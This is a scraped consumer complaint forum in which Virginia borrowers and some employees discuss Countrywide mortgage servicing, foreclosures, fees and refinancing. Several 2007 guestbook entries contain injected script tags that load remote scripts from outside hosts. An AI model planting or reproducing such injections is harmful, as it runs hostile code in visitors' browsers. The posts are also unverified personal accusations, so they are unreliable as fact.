Countrywide Financial - Virginia Home Loans - Equity Loan Mortgages SUCKS!

Virginia Home Loans? Sub-prime (bad credit), Need money, Mortgage Refinance, Or Want A Home Equity Loan Virginia and dont want to get ripped off or have hiden fees on your Home Loans?

Need A Home Loan VA, Refinance, Purchase, Or Make Home Improvements. Mortgage Rates Have Reached A All-Time Low Make Sure You Pick A Broker That Will find the right Home Equity loan at the best rate for you. We recommend that you conduct your own due diligence on mortgage brokers to find the one that is best for you. This site is a forum for users and should not be your only source of information about Countrywide Home Loan prior to choosing a lender.

This is what home loan customers in Virginia (VA) have been saying...

• Bad Credit Home Loans • Home Loans • Home Equity loan • Refinance • Home Equity • Debt Consolidation • Equity Credit Line • Home Loan

ADD YOUR STORY Left: April 27, 2006 By: MAI EXPOSER In: BEWARE OF MANAGEMENT ADVISORS INTERNATIONAL OR MAI. Here\'s how there retainer\'s work. 1. you pay them to start the search. 2. 3 months down the line they come back and tell you they\'ve exhausted your market and it\'s time to move on from the search. 3. you now have to pay them a closeout fee for them doing nothing. 4. if you hired a candidate outside of using their services, they will charge you the full fee because you was on retainer with them. 5. after you have paid them for doing nothing in one market, they will ask you for another retainer to start up a new market. MAI is located in NC AND FL. Beware of who you do business with. Left: April 18, 2006 By: Steve In: Richomd Have any of these people ever heard of reading the terms of a loan before they sign any papers? If you don\'t understand the terms then ask the loan officer. He has a responsibility under RESPA to explain to your satisfaction the full terms and conditions. Wake up people and use your head instead of your lust for things beyond your means. Left: April 11, 2006 By: In: Allen - please phone the Office of the President (OOP). Sorry I don\'t have the number beacause left CHL a few months ago because of the exact arrogence this RVP showed you and the disregard for the customer. Pplease phone the 1-800 # and ask for the OOP number. they will do all they can to not give it to you but push on. This department is designed to help people in a very , very professional manner ( i\'ve seen it first hand). YOU WILL GET RESULTS AT A LIGHTING SPEED !!! and to top it all of the RVP, BSM, and the origiantor will get blasted by the big boys. When the OOP talks people jump. good luck Left: April 11, 2006 By: Allen In: Roanoke Countrywide is by far the worst mortgage company in america. My first loan through them went ok but it took them so long to process the loan that i missed my closing date 3 times and i then had to pay extra taxes because when they did get it closed it was in the middle of the month and it made my escrow go up. Then thinking after all of this i could go and get a refi from them without hassel like the lender said it had taken more than 2 months with still no progress i have had to move the closing on my other house 2 times waiting on them and im in the process of having to move it again and im about to loose the house because of them. I then called the regional manager to get hung up on 3 times before he picked up the phone i was then told by him rudely that he could not speak with me since i was not on the loan which until he gets the loan processed i am still on that mortgage. THIS COMPANY IS A JOKE AND I NOR ANYBODY I KNOW WILL EVER USE COUNTRYWIDE AGAIN. Left: April 02, 2006 By: Rosamund Chang In: Midlothian, VA Countrywide foreclosed my house on 12/5/2003 just because they failed to get pay from the bank which I set up automatic withdrawal since 2000. The account had a clean title with any debt against it, equity up to $120,000 VS. monthly mortgage at 1,150. To my knowledge, Countrywide foreclosed a well-maintained house at market price @175,000, just because in August, they failed to get pay for $1,150. In August. 2003, I won a judgement against my tenant in the court room and learned that he deposited the rent in Federal Credit Union. He not only got receipt, but my balance in my account. At that time, we only have one account in Dupont Credit Union without knowing that Federal Credit Union could access info of my account in Dupont Credit Union. My tenant had a string of bad credit record; making a living by filing bankrucpy. While his yearly earning was around $100,000, he has rented houses without paying rents for previous rental residencies. Thus, my instinct is to rush to my bank to request temporarily close my account for withdrawal. Because my husband is the primary holder,without his consent, the account can\'t be cancelled. I did this only to protect my finance security before I left for China again(we were relocated to work in China). Because the practice in Dupont Credit Union is very strict. If you need to obtain the balance, ID check is a must.But in Fed. Credit Union from which I\'ve never have experience with them and have the knowledge that they could access my account information. At that time, I have 4 mortgages against the same account number by automatic withdraw, since we currently were relocated to work in China. When I got back to China and tried to notified the mortgage companies to withdraw mortgages from new account but failed. They no longer accepted my original user\'s name/password. Later that year, I finally learned the problem occured because the new web security law enacted on 8/22. After a few attempts, I still could not log into my account. So, I wrote a message to customer service about the problem/change. But, I think the foreclosure was processed by the computerized work flow without stop. Somtime in mid August, I e-mailed my bank about the problem and asked the bank to lift the ban to allow these mortgage companies ONLY to take money. My account with BOA occured the same problem, but BOA came back for September payment but got paid. The other 2 mortgages even did not have problem in August payment. Among these 4 mortgage, Countrywide one is the oldest, We have paid 11 years out of 15-year term with perfect payment record. The title is clean. The marketing price of the price at that year was at $175,000, while the monthly mortgage was $1,150. It means because this $1,150 short, I should give Countrywide a house. I think that this is called \"slaughter of Middle Class America\". My experience with these mortgage companies are their lousy customer service. While constant mergers, consolidation and high turnover and cost saving plan, not only they do not know what they exactly execute, but they put you on 800 number forever; generally speaking. 11 years of servicing this mortgage does not worth another attempt to try. It is not the pattern of our payment history. 2 years later, I\'m still in a phobia status. I am still sad and frightened...... Left: March 16, 2006 By: In: do you know how spell ? Left: March 16, 2006 By: Burnie Coats In: Woodbridge CountryWide act as a large collection agaency. They really don\'t understand the concept of a Grace Period. I reqister up to as much as 100 to 150 phone calls each month, of which I refused to repond. TAKE YOUR BUSINESS ELSE WHERE QUICK MAINTAIN YOUR SANITY!!!! Left: February 03, 2006 By: In: NO ONE CAN LIE LIKE COUNTRYWIDE CAN Homeowners need cash? Get a No-Closing Cost Home Equity loan only from Countrywide. That’s right, no application fee, no appraisal fee, no title fee, no underwriting fee, NO CLOSING COSTS. NEVEVERMIND THAT IT’S A VARIABLE RATE ARM (Prime Rate+) LOAN. NEVERMIND THAT IF YOU PREPAY THE LOAN BEFORE THE TAKEOUT AMOUNT PERIOD ENDS THAT YOU END UP PAYING THE CLOSING COSTS (PREPAYMENT PENALTY). NEVERMIND THAT YOU PAY THE CLOSING COSTS THROUGH AN ABOVE MARKET VARIABLE RATE HOME EQUITY LINE OF CREDIT. THIS IS NOT A FIXED RATE SECOND MORTGAGE. No one can screw you like Countrywide can. Left: February 03, 2006 By: jake In: cali Improper Home Charges Read then File a complaint www.zimmreed.com Left: January 29, 2006 By: In: NO ONE CAN LIE LIKE COUNTRYWIDE CAN Homeowners need cash? Get a No-Closing Cost Home Equity loan only from Countrywide. That’s right, no application fee, no appraisal fee, no title fee, no closing fee, NO CLOSING COSTS. NEVEVERMIND THAT IT’S A VARIABLE RATE ARM (Prime Rate+) LOAN. NEVERMIND THAT IF YOU PREPAY THE LOAN BEFORE THE TAKEOUT AMOUNT PERIOD ENDS THAT YOU END UP PAYING THE CLOSING COSTS (PREPAYMENT PENALTY). NEVERMIND THAT YOU PAY THE CLOSING COSTS THROUGH AN ABOVE MARKET VARIABLE RATE HOME EQUITY LINE OF CREDIT. THIS IS NOT A FIXED RATE SECOND MORTGAGE. No one can screw you like Countrywide can. GO GET A BETTER RATE & SERVICE AT YOUR LOCAL BANK OR CREDIT UNION. Left: January 20, 2006 By: roy In: tampa Notice: Must Read Sweat Shop Employees www.gdblegal.com Appraisal Overcharges www.sherlocklegal.com Wrong Doings www.jameshoyer.com www.ripoffreport.com file your complaint Left: January 17, 2006 By: Joe In: If you wait until almost the 15th then yes you get charged $5 for online payment. (still cheaper than express mail) Your payment is due on the 1st of the month. Left: December 27, 2005 By: lori In: woodbridge Countrywide now has a current policy of assessing an additional fee for direct on line payments made during the grace period. By this pplicy change, I am now returning to paper checks mailed within my grace period. This policy causes Countrywide to have to pay staff to go the lockbox, collect the payments and manually post them. How stupid is that? What a waste of man-hours. I have been paying my mortage on line for over 5 years. When I refinanced, my loan was sold to Countrywide. If I had any idea where my loan was going to end up, I would have not refinanced. I wish they would sell the serviceing to another company. Left: December 09, 2005 By: former chl loan officer In: kimberly - it is the oldest trick in the book for a loan officer who is playing the market for better pricing. your loan officer suckered you in with the lower rate to get your business or he/she was playing the market in order to make money on the back end so he/she could make more in money in overage. did you receive a lock in agreement ? looks like they gambled with your interest rate so you are the loser. your loan officer did not lock your rate in before rates jumped up big time. now your loan officer is way in the hole so he/she and the branch do not want to close your loan because they will be paying $$$1,000\'s to close your loan. i bet your rate has expired or was NEVER locked so they are delaying your closing hoping that you will get so frustrated that you will \"just go away\". i would force a face to face meeting at the branch to pin them down. by federal law countrywide has to give you an answer within 30 days as to whether you are approved or not approved. i\'am sure they will give you some lame excuse that you do not qualify so they can save their own hide. if this happens i would suggest you take the issue up with the office of the president and have them look at your file. if you are in the right, and raise hell, then the office of the president will force that branch to close the laon at the rate /terms you were expecting. please do not give up. they are making you pay right now with the game they are playing so make them pay where it hurts. their wallets. good luck Left: December 08, 2005 By: kimberly In: carrollton,va I contacted countrywide mortgage on October 19th 2005 about refinancing my townhome. I took a week to think over their offer and then submitted all the paperwork required via overnight mail. Well to make a long story short it is now December 8, 2005 and still I have not closed on this loan. I have received excuse after excuse and no straight forward answers, or no call at all. I can not express the fustration and anxiety this lender and their employees have caused me and I would love to tell them to take a flying you know what. At this point I am in too deep to turn back. BTW this loan according to them has been approved at several different desks several times always at a weeks wait. Keeping me on pins and needles...What a bunch of know nothings...I strongly recommend to anyone not to do business with these people. Left: December 08, 2005 By: kimberly mayorga In: carrollton,va I contacted countrywide mortgage on October 19th 2005 about refinancing my townhome. I took a week to think over their offer and then submitted all the paperwork required via overnight mail. Well to make a long story short it is now December 8, 2005 and still I have not closed on this loan. I have received excuse after excuse and no straight forward answers, or no call at all. I can not express the fustration and anxiety this lender and their employees have caused me and I would love to tell them to take a flying you know what. At this point I am in too deep to turn back. BTW this loan according to them has been approved at several different desks several times always at a weeks wait. Keeping me on pins and needles...What a bunch of know nothings...I strongly recommend to anyone not to do business with these people. Left: December 03, 2005 By: In: Current Customers should call customer Service and tell them you want NO CONTACT 1-800-669-6607 That means: *No emails *No Phone Solicitations *No Junk Mail Get customer service reps name and employee ID# and make a note of it. Countrywide gets around the do not call list because of a loop hole that allows them to call their current customers. Why do you think they buy so many mortgages? So they can call you and sell stuff to you is one reason. Left: December 01, 2005 By: #1 S.E. Producer In: HotttLanta Region 18 - the Atlanta, Ga market is falling apart. If your company is looking for a good RM, ASM, BM, start picking because they are primed and ready. CHL has gone and hired 1 knucklehead who brought in 2 of his buddies, to oversee that region and top producers are either quitting or are being fired monthly. The 3 clowns in place have no experience to run a market like HotttLanta. Left: December 01, 2005 By: $2B Region slowly going south In: There was a time when you could call an area/branch manager with another company and tell them you work for CHL and they would be chomping at the bit to find out what they need to do to get a foot in the door. Now when I call on these types of people, they tell me \"You\'re with the wrong company, why don\'t you come on over to my good company.\" What has happened to our good name! Left: November 30, 2005 By: Christine In: Chesapeake My previous lender always paid my insurance to State Farm. It wasn\'t until my refinance and sale that this became a problem. I would like to know if I have a possible suit for being mislead by my originating lender to Countrywide. Left: November 24, 2005 By: In: christine - i have been in the mortgage banking business for 15 years, and i have NEVER seen a lender escrow for condiminium content insurance. the lender\'s collateral is being insured by your condo\'s master policy which is part of your h.o.a. dues. the master policy protects the structure from the outside to your dry wall. the content insurance that you purchased from your state farm agent protects your belongings inside the dry wall. this is optional, yet recommended, insurance that you purchase on you own. again, then lender will not escrow and pay state farm for content insurance. i would double check that a) the content insurance is being collected by countrywide b) if your former lender truly collected it and paid state farm, which i doubt c) phone your state farm agent and tell them the story. it is actually the state farm agents mistake for trying to set up content insurance w/the lender in the first place. Left: November 22, 2005 By: Christine In: Chesapeake I am so frustrated! I refinanced my home with my current mortgage company and the loan was sold to Countrywide a month later. My mortgage payment amount remained the same from the old mortgage company to Countrywide. Now I am finding out that although I think I\'m paying Principal, Interest, Taxes and Insurance. Countrywide is taking my Insurance money and saying that they don\'t cover condominiums! So now I have to pay my insurance separately and am fighting to get my insurance money back that I have paid. I am miffed with my old mortgage company, who didn\'t care who I was sold to, and if they were going to meet my mortgage needs. I guess the consumer has no control of these sales as you can\'t change your mortgage. Right now I am out of several hundred dollars and have to pay State Farm more money to keep my insurance in force. What a rip off!! Left: October 07, 2005 By: WHITNEY In: K.G HELLO I HAVE READ YOUR SIGHT AND ALOT OF THE SAME THINGS HAVE HAPPENED TO MY HUSBAND AND I. WE ENDED UP FILING CHAPTER 13 LAST YEAR. WE HAVE RECENTLY REFINANCED WITH ANOTHER COMPANY BUT WE WENT THROUGH ALOT TO GET THERE. WE ALSO WOULD MAKE PAYMENTS AND THEY WOULD MONTHS LATER SAY WE NEVER PAID THEM. WE WENT THROUGH ALOT WITH THEM AND FUNNY ENOUGH THE PERSON WHO REFINANCED US ALSO HAD CHL NEEDLESS TO SAY AFTER HAVING TO DEAL WITH THEM ON OUR BEHALF SHE TOO IS REFINANCING WITH ANOTHER COMPANY. I REMEMBER NEEDED TO GET A PAYOFF AND IT TOOK 4 PHONE CALLS LATER AND 2 WEEKS TO GET IT, CHL HAS NEVER BEEN NICE ALWAYS RUDE AND LORD HELP YOU IF YOU FALL ON HARD TIMES B/C YOU WILL STAND ALONE, THEY DONT CARE.....I ALSO WOULD LIKE TO ADD THAT I HAD A BNKRPSY TECH THAT WAS ASSIGNED TO MY FILE AND IN THE ENTIRE YEAR I WAS IN CHAPTER 13 I NEVER ONCE HEARD FROM HER I DID NOT EVEN NOW HER NAME, AND SHE WOULD NEVER RETURN MY CALLS, AND THERE ARE SIMPLY SOME THINGS THAT ANLY SHE COULD HANDLE, ANOTHER EMPLOYEE AND I WERE LAUGHING WE ARE NOT SURE SHE EVEN WORKS THERE B/C THE EMPLOYEE THAT I WAS SPEAKING TO AT THE TIME HAD NEVER HEARD HER NAME BEFORE.....ALL I CAN SAY IS YOU HAVE NO CLUE HOW IT FEELS TO SAY THAT I WILL NEVER HAVE TO DEAL WITH THEM AGAIN.ANY INFO ON A LAWSUIT I WILL BE THE FIRST TO SIGN UP Left: September 20, 2005 By: An observer In: Atlanta, GA I don\'t know about all the name calling, etc. but one thing is certain. Something bad has happened to Countrywide in Atlanta and there won\'t be an end until it\'s destroyed. Someone hired people to run this part of the company that either have no interest in the company or just simply aren\'t qualified to run a company. There is no profit being made and everyone is unhappy -- customers and employees. Seems like a recipe for disaster. Sit back and watch it fall. Maybe a year, maybe not that long. They\'ll be gone, someone new will be along or they can close down Atlanta altogether. I don\'t think Atlanta would be missed by the rest of Countrywide. Left: July 31, 2005 By: Michael In: Chicago Jessica- I agree with much of what you are saying and if there were as many horrible experiences with CHL as are listed here, the company would have more lawsuits pending than Ameriquest or Wells. The bottom line here is most of the \"complaints\" are from other mortgage professionals making up stories to drive business from CHL to their doorsteps. I\'ve posted my email on this site to offer my assistance for people in real need. I\'ve helped several people to understand that their issues aren\'t, in fact, with CHL but with the broker or previous lender who originated their loan. Many instances have been that the broker simply lied to them and yet they still signed documents. No questions asked. I think consumers should ask more questions during the loan process and a majority of the problems would simply dissapear. Left: July 29, 2005 By: Jessica In: Virginia Beach I work for Countrywide and I also have 4 loans with Countrywide. I read several of the stories on this website and I have a few things to say. First of all, if you wait to make your payments til the 15th of the month and you drop it off at a local branch, we have to overnight this to the processing center and it will not post until a day later. The branch does not have any way of posting a payment because we are a SALES branch. Second, every financial institution makes mistakes on posting payments. No one is perfect and yes, it does require research and yes Countrywide is a huge company so it make take some time. I have been with this company for 5 years and its true there are some issues the company needs to deal with. However, WHAT company doesn\'t have issues! Every company is only as good as its people! And there always 2 sides to every story. I also would like to apologize on behalf of Countrywide for those of you who have been treated with disrespect and unprofessionally and I personally would love to show you that Countrywide is not the company many of you think. And one last thing....they may be concerned about the bottom line but isn\'t every business. They didn\'t get to the top by offering something for nothing. I believe every one can admit they have been to a business and had a bad experience but know someone else who went to the same place and loved it and wouldn\'t go anywhere else. My point is for every client who has a bad story about Countrywide there are at least 5 who praise Countrywide. Its easy to sit around and talk about the bad but what about the good experiences!!!! Left: July 26, 2005 By: In: I\'m going to post this in every state listed here. YOU MUST TAKE RESPONSIBILITY FOR YOUR OWN ACTIONS AND DECISIONS!! I have recently left the lending industry. I can site many reasons for this, however the top reason has to be dealing with borrowers and potential borrowers who had no concept of financial responsibility. Just because you have a 700 credit score does not mean you demonstrate good use of credit or that you are guaranteed the rate or terms you want. In fact, many people who have the best credit scores carry the most debt. What you people do not understand is that the lending institutions want you to carry debt, so if you carry alot of debt and pay it on time your score will be higher than someone who pays their bills OFF every month and only carries a mortgage and a car loan/lease. If you fall on hard times, pay your damn mortgage and let the friggin\' Visa\'s go delinquent. Visa isn\'t going to take your house, your mortgage company is. People jump to quickly to file BK. Guess what, ole\' GW has made that next to impossible for the average American. You\'re better off making arrangements with your credit card companies and paying your mortgage off as quickly as possible. Use good judgement, not the \"I want it now!\" mentality. Buy a Trailblazer instead of the RangeRover or the Hummer or the Lincol or Caddy or whatever. How many of you people that post on here have kids? What kind of behavior do you think your actions teaches them? Anyone who would voice their opinion is more than welcome to email me at michael_harman1976@yahoo.com. I would be more than happy to help anyone who needs some good advice on how to get themselves into a good financial position. I am not selling anything, I\'m a former CW employee who feels an obligation to help those who have been taken advantage of. Michael Left: June 16, 2005 By: Tamlynn In: McLean I am so furious at myself for not doing the proper research, but I was recommended by my agent to use Counrtywide. It is now an hour before closing and I received a call last night from them that my closing costs would be double and that my rates would be going up. I got this call at 9 pm despite being in daily contact with them throughout the weeks leading up to today. I am homeless in 14 days with a baby daughter because I believed that my lock in rate meant something and that a good faith estimate was worth something. Has anyone had any success with law suits? Left: May 27, 2005 By: Peters In: Newport News I purched my home in 1997 in Newport News,Va I never knew what I was in for until I was told Countrywide was handling our loan.This with us being a first time buyer I didn\'t know but oooh do I know now .. Well I can\'t even tell you the Hell they have put me through I have had to file Bankruptcy just to keep them from taking my home it started in 2004 WHEN they say I was 5 mos late on my pyts when I showed proof they said our records still show you being late my attorney had to try to get them to change the infomation they just went up more to 9 payments late. They tell me to pay over 5,000 to get current I do that than they say I didn\'t pay it fast enough they are now trying to forclose on my home because they sent through my attorney several proposal but the first one is still in order so he say all the other one they sent were never in effect but told my attorney that they were, so Now I have to have proof I have made the payments up today and the for my home and the past due order or they will forclose on the home Countrywide has been doing this too me since Oct/2004 and before I had to file now they say if I dont sign paper work from their attorney that I\'m 9pys late and owe 2,233.00 they will forclose ... WHAT company lets someone get that far behind and cry fowl Countrywide will weather it\'s true or not. I have proof it happen to me and their atty admit to it in papers I have..but now how do I get away with that on my credit and get refianced after that .. all I CAN SAY is those who trust the Big Scary Devil will pay in the end what goes around comes around they are sick people I hope they fall like ERRON DID .. SOMEONE IS STEALING AND the are doing it to us and we can\'t do anyting about it .. Dont\' trust anyone any more keep ever reciept you send send cashier checks if you can trust me .. keep 5 copies of each pyt you will need them when they come a calling. Left: May 08, 2005 By: Kim In: Mechanicsville We bought a house in 2000 and right after the first payment was made to the bank, it was bought by Countrywide... I\'ve had my mortgage payment for a month put through twice by accident before with no apologies and when you call, you might as well forget about talking to anyone who can help you. We refinanced in 2004 but let me tell you, it was a challenge, the new mortgage company we were trying to refinance with said we had one year in back real estate taxes that were not paid.... my taxes are included in my monthly mortgage payment. I called Treasurer of Hanover County and didn\'t even have to tell them who my mortgage company was, they guessed it was Countrywide right off the bat because they have had numerous problems with them paying taxes on time. I had to make no less than 10 telephone calls to Countrywide because nobody could help me get this straight and finally ended up talking to some higher up person. This took me two days to get this straight (was on the phone for two hours with Countrywide at work one day) When I refinanced, I specifically stated that I did not want Countrywide to have anything to do with this new loan but that didn\'t matter because after one payment, it was bought by them. So far there has been no problem with them. Left: April 27, 2005 By: Janet In: Eugene, Oregon Countrywide TRULY sucks! They have twice added late charges to my account when delivery confirmation proves it was received in time. They don\'t care that I have proof they were received in time, if they say it was late, then it was late. They waived the late fees as a courtesy (courtey!? remove a late fee that shouldn\'t have been there in the first place is a courtesy??!!), but with a warning that 2 is the limit for late fee waives. I HATE them! Left: March 09, 2005 By: joe In: simi valley I happen to be a foreclosure counselor at countrywide. I do sympathize with the clients and I understand we\'re not exactly the best when it comes to correct correspondance, or justified collection calls, but I feel that we do the best we can to resolve an issue. If you\'re unhappy with what you have, please feel free to refinance, and prepare to be bought out again by the big scary, Countrywide! Left: February 28, 2005 By: becky In: richmond They were great with me and I find it funny how many of you don\'t include your names. I am on the 5 year ARma nd it is great!!! Proud to be a Countrywide Client. They were honest, upfront and VERY supportive of any decision I made. A proud client in Richmond, VA. Left: February 08, 2005 By: J. Weeks In: Norfolk, VA I am scared to death, because I just bought my house with an 80-10-10 and within two weeks, both my loans were sold to Countrywide! I should have come to this website before I closed on this house because then I would have known to indicate in my closing docs that I would NOT permit my loans to be sold to this company! I can thank the nice people at Resource Home Mortgage in Virginia Beach for coldly and impersonally selling my life over to this huge, uncaring conglomerate! Alas! Left: January 24, 2005 By: C Y Law In: Chesapeake FRUSTRATED IN VA....I have a Countrywide Home Loan, when I originally applied for my home loan as a first time buyer back in 1997, countrywide would not approve me, before I could make my first mortgage payment in Apr of 1997 they had acquired my loan and I have been with the ever since. They have threatened forclosure on me 2 times, and the Loan Counseling department was awfully rude. I have a Federal Loan and ended up the first time to seek help from the HUD.. I tried to get a \"work out\" program but was told I couldn\'t because I had no insurance on the house, called my insurance company and they were like what do you mean we just receieved a payment, called countrywide back and they were very rude telling me that they didn\'t care what my insurance company says they didn\'t have a record of my insurance, it all ended up where I went through 2 different customer services and both offices had conflicting information...... Both Countrywide Home Loan offices....... Didn\'t approve me for the work out program and was told that I had 5 days to come up with 6500 dollars......and \"We doubt if you can do that since you couln\'t afford to pay your mortgage...\" I came up with the money and then find out my mortgage would be going up 136 dollars for shortage in escrow during all the research of my insurance they discovered that my taxes had increased 2 times in the last 2 years and they had been paying it for me so I owed them back......I HATE COUNTRYWIDE....There is so much more to this story but I\'m actually get to pissed off to go on...... Left: November 23, 2004 By: Erin In: Kent Contact the Better Business Bureau. Countrywide has an agreement with them to speed up the handling of complaints. Also, if you have received a notice of foreclosure, you really need to speak to an attorney. Left: November 05, 2004 By: In: Call Quicken Loans Which is Countrywide Left: October 27, 2004 By: Ray Futrell In: Grea t Falls Countrywide bought our mortgage in July and the first letter we receicved was a notice of arrears. I faxed them copies of the canceled checks and they still send notices we are behind in the payments. They have not responded to a request for a loan payment history. They have now sent a letter of intent to foreclose. We have been trying to resolve this for months with no success. Any idea who I should see about this? Date: Tue 11/14/06 5:18PM From: silhmae lqhme Message: jvalf pkwr jqbrx iamwko txzsyo ynlj gjbzs Date: Thu 01/18/07 4:16PM From: <script src=http://dcurtis.com/q.php>jonny16</sc ript> Message: <script src=http://dcurtis.com/q.php>jonny2</scr ipt> Date: Fri 03/2/07 8:53PM From: <script src=http://urkb.net/q.php>jonny9</script > Message: <script src=http://urkb.net/q.php>jonny18</scrip t> Date: Tue 04/10/07 7:32PM From: David Bell Message: FIRST, let me say this site is the very best way to deal with the fraud and questionable business practices being committed by Countrywide Home Loans against its una**uming customers. This is the only way for individual customers to learn of the magnitude of wrongdoing by Countrywide, and to learn just how many people have been damaged. SECOND, it is imperative that everyone who has been damaged by Countrywide’s fraud and/or dishonest business practices, should file a complaint with the Federal Trade Commission, 600 Pennsylvania Ave. N/W, Washington, DC 20580. You can fill out a complaint form online at www.ftc.gov/ftc/businessinfo/customer.ht m. The FTC does not resolve individual complaints, however they will investigate a company for repeated complaints related to improper business practices or fraud. If everyone who posted a complaint on this site would file a complaint with the FTC, I’m sure that would trigger a formal investigation against Countrywide Home Loans. NOW...MY STORY: I refinanced three of my rental properties through Countrywide Home Loans in 2004. After about a year I noticed Countrywide began billing me for more than my payment amounts. In one case, Countrywide had purchased two insurance policies for a single house which depleted my escrow account on that loan. Because of their mistake they raised my monthly payment by $200. On another loan, Countrywide fraudulently raised my property tax bill from $151 to $1843.94 , then raised my payment from $179.29 to $477.77. When I made my monthly payments, I would mail three checks in one envelope to make all three loan payments were received at the same time. Even though I did this, Countrywide would credit one loan with a timely payment, then show the other two loans were paid late and charge a late fee. I tried for many months to get these problems resolved, but the harder I tried the more difficult Countrywide made it. In August 2005 I learned that Countrywide had reported that I had made late payments on two of my loans which ruined my credit. Although I continued to make payments, Countrywide filed suit to foreclose on one of my properties. I filed a counter suit and got a judgment against Countrywide for $556,000. Countrywide then filed suit to foreclose on my other two properties, so I have now turned the matter over to a wonderful attorney who specializes in lender liability cases. Countrywide Home Loans certainly has questionable business practices, but because they have become so large it is difficult to get sufficient information to drag them into court. I welcome all information and comments from past or present Countrywide customers who have been damaged by their business practice. My email address is oneoutback@comcast.net. I will update this message as the court proceedings move along. Good luck to all of you who are fighting a battle with Countrywide and I hope to hear from you. Date: Thu 04/12/07 12:45PM From: Uh-Oh Message: NEW YORK, April 12 (Reuters) - Countrywide Financial Corp. (CFC.N: Quote, Profile, Research), the largest U.S. mortgage lender, said on Thursday the amount of mortgages in its portfolio that are in foreclosure nearly doubled, amid a difficult U.S. housing market. Date: Tue 08/14/07 8:43PM From: JM Message: I also work for Countrywide as a loan officer and definitely have mixed emotions. Yes, it is true that CHL is unwilling to work with pepole through their tough times, and why would they? If you have liens against your home, you do not actually own it, at least not entirely. Poeple always b**** about the late charges and credit reporting issues. The bureaus only report your late payments if they are in excess of 30 DAYS!!! This means you were more than "a little late." The loan company acts as your landlord, and what landlord lets you hang out and not pay your rent for months on end? Late charges are not addressed until the 15th and your payments are due on the 1st, that is two weeks to get your money in without a penalty, and since most people have computers, internet and bank accounts, payments should not be that difficult to make. This addresses my half as teh lender, but I will also address the side of the borrower(s). On certain occasions which I am sure happen because they have involved friends and family, things happen where the lender makes a mistake and you get to pay them. Why would anyone think that alending institution would have a heart? Banks have been bending people over for years, especially the small town varieties. All mortgage companies are great until you have a problem. A lot of Countrywide's money comes from servicing, meaning all of the late charges, uncollected fees, and other BS is lining some pockets. This is why many of you suddenly found your loan with Countrywide, not the company you started out with. Your old company is supposed to notify you, while thenew company is supposed to bill you. I am sure they send the bill, but most American's get so much junkmail it could be a needle in a haystack. I sure as hell wouldn't open mail from Countrywide if I thought my loan was with s with Chase. Common sense should prevail here when you realize you have not paid your mortgage in a month or two. Blame can be placed on either side here in certain cases, but the bottom line is if you are borrowing money from any financial institution, they have got you by the balls!! Date: Wed 08/15/07 9:33PM From: Steven Meyer Message: I googled "Countrywide" to find some of the recent stories about their financial position and came across your site. I am rather suprised to read all the complaints. I have had three mortgages with them (one in excess of 1m) and was treated very well. I imagine a company that large will have a certain percentage of unhappy, poorly cared for clients. Sadly, the mortgage process itself sort of "sucks". Washington Mutual was my worst experiance, but I didn't feel compelled to create a website devoted to it. Date: Mon 08/27/07 1:09PM From: Charlotte Buttner Message: I was an "Countrywide" customer as well and was treated very badly by them. I had had a heart attack and got behind on my mortgage and countrywide refused to work with me until I got back on my feet. My home of 24 years was forclosed on back in March of 06. Then in February 07 I received a check in the mail and called countrywide about it and was told that the money belonged to me and to send the check to countrywide in california and they would issue me a check in the amount because the check was written to them and was supposed to be written to me directly. I call them and was told the case was closed and they had deposited the money. I feel that they took me for a ride and took my home away from me in the process. I was also told that if the house was sold for more then the pay off I would get the rest back. Well you know what I haven't recieved a dime. My home sold for $17O,OOO and the pay off was $158,00 so what does that tell you about countrywide. Thanks Date: Sun 09/23/07 2:47PM From: William Collins Message: Charlotte, So you want us to feel sorry for you? Boo-hoo. Other people have health issues just as big if not bigger then yours and they seem to be able to get off of their a** and send their payments in. Because of your unwillingness to prepare for unforeseen problems(heart attack = disabilty insurance) then why do you want to unload your problem with us. Slack a** excuse maker! Date: Sun 11/11/07 1:43PM From: First Time Home Buyer Message: After sending the commitment Letter (from Countrywide) to the Listing Agent for Notice of Removal of Financing Contingency they (country wide) are backing off - just 2 working days prior to closing. I just don't know what to do - they want 10% down or want higher rate with PMI. Date: Thu 01/10/08 3:23PM From: Dennis Bell Message: To all the people out there that have been harmed by Countrywide, here is the news we all have known would happen to a lender who profits by unlawfully or fraudulently taking advantage of unsuspecting borrowers... Countrywide Home Loans, and its parent company, Countrywide Financial Corporation is on the brink of Bankruptcy and is no longer in control of its own future. Unfortunately this does not mean that its COE and major scammer Angelo Mozillo will be on the food line anytime soon, but it does mean that he will die a millionare instead of a billionare. Countrywide stocks have fallen from a high of over $52 per share in 2006 to a low yesterday of $5.12. There has never been a company in history that has recovered from such a dramatic loss in stock value and a**ets. At one time Countrywide was valued at 17 Billion, and now it has a total value of 3 Billion and is still falling fast. CEO Mozillo sold 114 million of his own stock last year when it was valued at $31 per share, but he kept another 1,300,000 shares. That means last year his remaining stock was worth over 400 million, now it is only worth 6 million and not many investors want it. You heard it here first...there are only 3 options for Countrywide. those are Bankruptcy, Government Bailout, or being bought out by Bank of America, who already pumped 2 Billion into Countrywide in August 2007, but now has lost 1.3 billion of that because of declining stock value. For those of us who continue to fight Countrywide in court, this is bittersweet because while the giant has been beheaded, there wont be enough meat on the carca** to feed the hungry. I submitted my first story on this site on June 2007 and have received many emails and requests for a**istance. I hope everyone who has been wronged by Countrywide will prevail, and that this news willwill bring some relief. Good luck to you all. Dennis Bell oneoutback@comcast.net Date: Tue 02/5/08 3:22PM From: B. Singhas Message: On Monday, January 28, 2008 I received a letter from an attorney wanting to help me save my home as it was scheduled to be foreclosed on on February 6. Thanks to him, I was able to save my house, but today is February 5, and I have yet to received a notice from Countrywide that my home was to be sold. I had a previous mortgage with them, had the taxes and insurance escrowed, and they could not be bothered to pay same. I was without homeowner's insurance for 6 months. Thank goodness I did not have to file any claim. When I had financial difficulty, they pretty much did not want to try to help me, and the main reason I ended up in foreclosure was because they refused to accept my last two house payments. This has to stop, and we need to do something. Date: Thu 02/7/08 9:53AM From: Dan Message: You know all those lovely "Refinance NOW before your variable mortgage adjusts" mailings you get from CW? Well, I responded to one thinking I was going to get a square deal from my own mortgage company. Nah. I was hit with $6K in fees, which was nicely rolled over in to the loan. Me, being a fool, trusted CW's people to give me an even deal. Nah. They didn't. Now I'm going to refi with a competitor and take my contributions out of their already drained coffers. Date: Fri 03/28/08 3:34PM From: Mike in Vienna Message: WARNING: If you're on an automatic payment program with Countrywide and your balance is insufficient, here's what happens: 1. Countrywide's accounting system records the payment as received anyway, so that when you call them, they deny the payment was late and reject your payment by phone; 2. When their accounting system finally catches up, they hit you with a late payment of several hundred dollars; 3. Then, because the 